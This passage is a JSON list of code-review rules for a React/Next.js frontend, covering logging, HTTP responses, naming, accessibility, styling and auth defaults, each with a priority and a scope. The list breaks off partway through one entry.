[{"title":"Use browser logging in client components, not the server logger","rule":"In code that runs in the browser, log via console rather than a server-side logger utility that may not behave correctly client-side.","apiRule":"In code that runs in the browser, log via console rather than a server-side logger utility that may not behave correctly client-side. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Force a full page load for links when SSR-injected widgets must re-initialize","rule":"When third-party or server-injected components (headers, footers, paywall widgets) only mount on a full document load, use a real navigation/full reload instead of client-side routing for those links.","apiRule":"When third-party or server-injected components (headers, footers, paywall widgets) only mount on a full document load, use a real navigation/full reload instead of client-side routing for those links. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Don't re-wrap an object you return as a JSON response","rule":"When the value is already an object, pass it directly to res.json(value) instead of wrapping it in another object literal.","apiRule":"When the value is already an object, pass it directly to res.json(value) instead of wrapping it in another object literal. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Compare against stable identifiers, not display names","rule":"Branch on a stable id/key rather than a human-readable name, which can change or be localized and is fragile to match on.","apiRule":"Branch on a stable id/key rather than a human-readable name, which can change or be localized and is fragile to match on. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a date library for date arithmetic instead of manual mutation","rule":"Compute relative dates with a helper like subDays rather than subtracting from getDate(), which is error-prone around month/year boundaries.","apiRule":"Compute relative dates with a helper like subDays rather than subtracting from getDate(), which is error-prone around month/year boundaries. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use unknown[] rather than never[] for an untyped empty array","rule":"Reserve never for values that can't exist (functions that always throw); type a placeholder array as unknown[] instead.","apiRule":"Reserve never for values that can't exist (functions that always throw); type a placeholder array as unknown[] instead. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Set the correct request headers for what the call does","rule":"Don't send Content-Type on a request that has no body; use Accept to declare the response format you want to receive.","apiRule":"Don't send Content-Type on a request that has no body; use Accept to declare the response format you want to receive. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use shared HTTP status constants instead of magic numbers","rule":"Reference a shared status constant (e.g. HTTP_STATUS.UNAUTHORIZED) rather than hard-coding numeric status codes in handlers.","apiRule":"Reference a shared status constant (e.g. HTTP_STATUS.UNAUTHORIZED) rather than hard-coding numeric status codes in handlers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a named options object instead of a bare positional boolean flag","rule":"Replace a trailing positional boolean argument with an options object so the call site documents intent (resetTicker: true) instead of an opaque true.","apiRule":"Replace a trailing positional boolean argument with an options object so the call site documents intent (resetTicker: true) instead of an opaque true. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Default an options parameter to an empty object instead of optional chaining everywhere","rule":"Give a trailing options bag a default of {} so call sites read options.x rather than peppering options?.x throughout the function.","apiRule":"Give a trailing options bag a default of {} so call sites read options.x rather than peppering options?.x throughout the function. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't reach for context when state is only passed a couple levels down","rule":"Use React context only when state must travel three or more levels or to many consumers; for shallow passing keep it as local state and props.","apiRule":"Use React context only when state must travel three or more levels or to many consumers; for shallow passing keep it as local state and props. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use a reducer to simplify a context with many related state setters","rule":"When a context manages several interrelated pieces of state with multiple setters, model it with useReducer and typed actions to reduce boilerplate.","apiRule":"When a context manages several interrelated pieces of state with multiple setters, model it with useReducer and typed actions to reduce boilerplate. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Structure event payloads as an action with a nested data object","rule":"Group event payload fields under a typed data object alongside the action discriminator instead of a flat, loosely structured bag.","apiRule":"Group event payload fields under a typed data object alongside the action discriminator instead of a flat, loosely structured bag. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Read standard status info from the response instead of a redundant interface","rule":"When error messages mirror standard HTTP status text, use response.status/statusText rather than declaring an interface that re-describes them.","apiRule":"When error messages mirror standard HTTP status text, use response.status/statusText rather than declaring an interface that re-describes them. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Trim strings before checking them for emptiness","rule":"A whitespace-only string is truthy, so trim before treating it as present, e.g. reject sessions/tokens that are blank after trimming.","apiRule":"A whitespace-only string is truthy, so trim before treating it as present, e.g. reject sessions/tokens that are blank after trimming. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name legacy or transitional functions so their nature is obvious","rule":"Prefix functions wrapping legacy or soon-to-be-replaced backends with a clear marker (e.g. Legacy) so callers understand what they're using.","apiRule":"Prefix functions wrapping legacy or soon-to-be-replaced backends with a clear marker (e.g. Legacy) so callers understand what they're using. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Remove leftover test and debug data before merging","rule":"Strip hard-coded test data, console logs, and debug scaffolding from code before it is merged.","apiRule":"Strip hard-coded test data, console logs, and debug scaffolding from code before it is merged. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Type the detail payload of dispatched custom events","rule":"Give CustomEvent detail payloads an explicit type rather than leaving them untyped or Record<string, unknown> when the shape is known.","apiRule":"Give CustomEvent detail payloads an explicit type rather than leaving them untyped or Record<string, unknown> when the shape is known. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Parse HTML with a DOM parser instead of regular expressions","rule":"Use DOMParser or the browser DOM to parse stringified HTML rather than hand-written regex, which is fragile and error-prone.","apiRule":"Use DOMParser or the browser DOM to parse stringified HTML rather than hand-written regex, which is fragile and error-prone. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not duplicate the HTTP status in the JSON response body","rule":"Set the status code on the response itself; don't also include a status field in the body since the client can read it from the response.","apiRule":"Set the status code on the response itself; don't also include a status field in the body since the client can read it from the response. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Validate request input with a schema library instead of hand-rolled validators","rule":"Use an established schema-validation library (e.g. Zod or Valibot) rather than building and maintaining a custom type-checking utility.","apiRule":"Use an established schema-validation library (e.g. Zod or Valibot) rather than building and maintaining a custom type-checking utility. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Set the Allow header when rejecting a disallowed HTTP method","rule":"When returning 405 Method Not Allowed, set the Allow response header listing the accepted methods.","apiRule":"When returning 405 Method Not Allowed, set the Allow response header listing the accepted methods. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use descriptive, intention-revealing test ids","rule":"Name test ids after the element's role (e.g. meatballs-button) so tests read clearly and target the right node.","apiRule":"Name test ids after the element's role (e.g. meatballs-button) so tests read clearly and target the right node. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a component library's size prop instead of hardcoding dimensions","rule":"When a UI library component exposes a size prop, prefer it over manually overriding width/height in CSS so you stay aligned with the design system.","apiRule":"When a UI library component exposes a size prop, prefer it over manually overriding width/height in CSS so you stay aligned with the design system. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Define a handler where its dependencies live, then pass it down","rule":"If a handler depends only on values available in the parent, define it there and pass it as a prop instead of passing all the dependencies down to a child.","apiRule":"If a handler depends only on values available in the parent, define it there and pass it as a prop instead of passing all the dependencies down to a child. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't duplicate backend business-rule validation in the API gateway layer","rule":"Avoid an extra fetch from your BFF/Next API just to validate a rule the downstream backend will validate anyway; let the backend return the proper error code instead.","apiRule":"Avoid an extra fetch from your BFF/Next API just to validate a rule the downstream backend will validate anyway; let the backend return the proper error code instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Mark loading skeletons with aria-busy for screen readers","rule":"Add aria-busy=\"true\" to a skeleton/placeholder container so assistive tech announces that content is loading.","apiRule":"Add aria-busy=\"true\" to a skeleton/placeholder container so assistive tech announces that content is loading. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Compute list keys into a variable when the inline expression trips lint","rule":"Pull a templated React key into a named variable so the key is stable/clear and you avoid the lint warning about inline keys.","apiRule":"Pull a templated React key into a named variable so the key is stable/clear and you avoid the lint warning about inline keys. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use CSS shorthand for symmetric box values","rule":"Collapse separate padding/margin declarations into shorthand when the values are symmetric or zero on a side.","apiRule":"Collapse separate padding/margin declarations into shorthand when the values are symmetric or zero on a side. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't set a style in CSS that you already pass via a component prop","rule":"If a value (e.g. color) is supplied through a component prop, don't also hardcode it in the CSS module — the duplicate can drift.","apiRule":"If a value (e.g. color) is supplied through a component prop, don't also hardcode it in the CSS module — the duplicate can drift. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use kebab-case for custom DOM event names","rule":"Name custom browser events in kebab-case (e.g. 'reply-discard') to follow the platform convention for event types.","apiRule":"Name custom browser events in kebab-case (e.g. 'reply-discard') to follow the platform convention for event types. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Cast to boolean consistently across the codebase","rule":"Pick one boolean-coercion idiom (e.g. Boolean(x)) and use it everywhere instead of mixing Boolean() and !! for the same purpose.","apiRule":"Pick one boolean-coercion idiom (e.g. Boolean(x)) and use it everywhere instead of mixing Boolean() and !! for the same purpose. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Return descriptive error bodies, not null, from API routes","rule":"On a 4xx error respond with a JSON object describing what went wrong instead of an empty/null body, so API consumers can react.","apiRule":"On a 4xx error respond with a JSON object describing what went wrong instead of an empty/null body, so API consumers can react. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Default to the least-privileged user state, not the most permissive, and handle failures","rule":"When deriving auth/user status, default to the safest state (e.g. anonymous) and distinguish genuine failures from a known unauthenticated response instead of treating any error as logged-out.","apiRule":"When deriving auth/user status, default to the safest state (e.g. anonymous) and distinguish genuine failures from a known unauthenticated response instead of treating any error as logged-out. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Be careful that a generically placed helper is actually generic","rule":"A helper in a generic location will be reused broadly; ensure its logic is truly generic (e.g. doesn't misclassify banned/admin users as 'active') or scope it to its specific use case.","apiRule":"A helper in a generic location will be reused broadly; ensure its logic is truly generic (e.g. doesn't misclassify banned/admin users as 'active') or scope it to its specific use case. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't unit-test styles that come from external CSS modules","rule":"Avoid asserting computed CSS from SCSS/CSS modules in jsdom/happy-dom unit tests, since those styles aren't applied; test inline/prop-driven values or use a tool that renders real CSS.","apiRule":"Avoid asserting computed CSS from SCSS/CSS modules in jsdom/happy-dom unit tests, since those styles aren't applied; test inline/prop-driven values or use a tool that renders real CSS. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep unrelated changes out of the current PR","rule":"Don't include changes that belong to another PR/task; keep each PR scoped to its own concern so reviewers aren't re-reviewing work from elsewhere.","apiRule":"Don't include changes that belong to another PR/task; keep each PR scoped to its own concern so reviewers aren't re-reviewing work from elsewhere. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reject unsupported multi-item requests with a clear error status","rule":"When an endpoint supports only a single item (e.g. one image), validate and reject extra items with a custom error status and message instead of silently processing only the first.","apiRule":"When an endpoint supports only a single item (e.g. one image), validate and reject extra items with a custom error status and message instead of silently processing only the first. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name components by their role, not their implementation detail","rule":"Name a component after what it represents (ThreadReply) rather than how it's built internally (ThreadReplyGrid); the layout technique is an implementation detail.","apiRule":"Name a component after what it represents (ThreadReply) rather than how it's built internally (ThreadReplyGrid); the layout technique is an implementation detail. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't import styles in index files","rule":"Keep style imports inside the component they belong to; importing stylesheets directly in index/barrel files is an anti-pattern.","apiRule":"Keep style imports inside the component they belong to; importing stylesheets directly in index/barrel files is an anti-pattern. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep components that depend on window/breakpoints as client components","rule":"A component using browser-only APIs (window size, breakpoints) must run on the client and cannot be a server component.","apiRule":"A component using browser-only APIs (window size, breakpoints) must run on the client and cannot be a server component. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Conditionally render instead of hiding with display:none","rule":"When an element should not appear under a condition (e.g. mobile), skip rendering it rather than mounting it and hiding it with display:none, unless a library requires the node to stay mounted.","apiRule":"When an element should not appear under a condition (e.g. mobile), skip rendering it rather than mounting it and hiding it with display:none, unless a library requires the node to stay mounted. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't fire a handler with empty arguments when there is no data","rule":"If an action only makes sense with data, don't invoke its handler with null/undefined placeholders; gate the call so it only runs when the data exists.","apiRule":"If an action only makes sense with data, don't invoke its handler with null/undefined placeholders; gate the call so it only runs when the data exists. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't re-specify props you already spread","rule":"If you spread an object's properties onto a component, don't also pass the same properties explicitly.","apiRule":"If you spread an object's properties onto a component, don't also pass the same properties explicitly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make a component's context dependency obvious to consumers","rule":"A reusable component that consumes a context should either take the data via props or wrap itself with the required provider, so callers aren't surprised by a hidden dependency.","apiRule":"A reusable component that consumes a context should either take the data via props or wrap itself with the required provider, so callers aren't surprised by a hidden dependency. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Log, don't throw, when a context is missing","rule":"On a missing context provider, console.error and return gracefully so one component fails rather than crashing the whole app.","apiRule":"On a missing context provider, console.error and return gracefully so one component fails rather than crashing the whole app. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Make components customizable via a classes prop, not single-purpose boolean flags","rule":"Let callers override styling through a classes object prop instead of adding one-off boolean props like isForum.","apiRule":"Let callers override styling through a classes object prop instead of adding one-off boolean props like isForum. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return the proxy route's own status, not the upstream service's","rule":"A BFF/proxy route should respond with a status reflecting its own success/failure, not blindly forward the upstream's status to the client.","apiRule":"A BFF/proxy route should respond with a status reflecting its own success/failure, not blindly forward the upstream's status to the client. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name the new implementation cleanly and mark the old one deprecated","rule":"When replacing a method/route, give the new one the canonical name and rename+deprecate the legacy one rather than suffixing the new code.","apiRule":"When replacing a method/route, give the new one the canonical name and rename+deprecate the legacy one rather than suffixing the new code. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer Node built-in modules over browser polyfill packages in server code","rule":"In server-only code, use node: built-ins (e.g. node:assert) instead of installing browser-targeted polyfill packages.","apiRule":"In server-only code, use node: built-ins (e.g. node:assert) instead of installing browser-targeted polyfill packages. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Default pagination to page 1, not page 0","rule":"When defaulting a page number, use 1 — page 0 typically renders nothing.","apiRule":"When defaulting a page number, use 1 — page 0 typically renders nothing. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Append the query separator only when query params exist","rule":"Don't hard-code a trailing '?' on a URL; add it only when there are params so empty-param URLs stay clean.","apiRule":"Don't hard-code a trailing '?' on a URL; add it only when there are params so empty-param URLs stay clean. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name variables after the domain concept, not the UI widget","rule":"Name a value for what it represents in the domain (e.g. activeSort/sort) rather than the component that displays it (e.g. threadButton).","apiRule":"Name a value for what it represents in the domain (e.g. activeSort/sort) rather than the component that displays it (e.g. threadButton). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Destructure context directly when the provider is guaranteed present","rule":"Inside a known provider tree, destructure context values directly; rely on the hook's dev-time error for misuse rather than defensive checks.","apiRule":"Inside a known provider tree, destructure context values directly; rely on the hook's dev-time error for misuse rather than defensive checks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use a modern TypeScript target and bundler-friendly compiler options","rule":"Set target/lib to a recent ES version and use react-jsx so you don't import React in every file or carry legacy interop flags.","apiRule":"Set target/lib to a recent ES version and use react-jsx so you don't import React in every file or carry legacy interop flags. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Let each component own its own error state instead of gating from a parent","rule":"Don't short-circuit rendering in a parent when children already render their own error/empty states, or you hide the correct UI.","apiRule":"Don't short-circuit rendering in a parent when children already render their own error/empty states, or you hide the correct UI. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Set the html lang attribute to the page's actual language","rule":"The root html lang attribute must reflect the real content language for accessibility and SEO.","apiRule":"The root html lang attribute must reflect the real content language for accessibility and SEO. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Handle nullable inputs consistently across sibling functions","rule":"When two functions do the same mapping job, give them the same nullable signature and default so they behave identically on null.","apiRule":"When two functions do the same mapping job, give them the same nullable signature and default so they behave identically on null. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep user-agent based device detection on the server to avoid hydration re-renders","rule":"Detect device type from the user agent server-side so server and client render the same markup and you avoid an extra re-render.","apiRule":"Detect device type from the user agent server-side so server and client render the same markup and you avoid an extra re-render. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Preload heavy editor resources only when the user is about to need them","rule":"Defer loading of large optional dependencies (e.g. a rich text editor) until interaction is imminent rather than on initial page load.","apiRule":"Defer loading of large optional dependencies (e.g. a rich text editor) until interaction is imminent rather than on initial page load. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Access store state through the documented selector pattern","rule":"Read and update global store state via the established selector hook usage rather than an alternate access path with different semantics.","apiRule":"Read and update global store state via the established selector hook usage rather than an alternate access path with different semantics. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Keep route data-loading logic readable and colocated","rule":"Avoid hiding getServerSideProps in a separate file when it forces reviewers to open multiple files to understand a route's params and fetches.","apiRule":"Avoid hiding getServerSideProps in a separate file when it forces reviewers to open multiple files to understand a route's params and fetches. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Match naming conventions of sibling components","rule":"Name a new component to mirror its siblings (e.g. singular like CategoryCTA) so related components stay consistent.","apiRule":"Name a new component to mirror its siblings (e.g. singular like CategoryCTA) so related components stay consistent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when 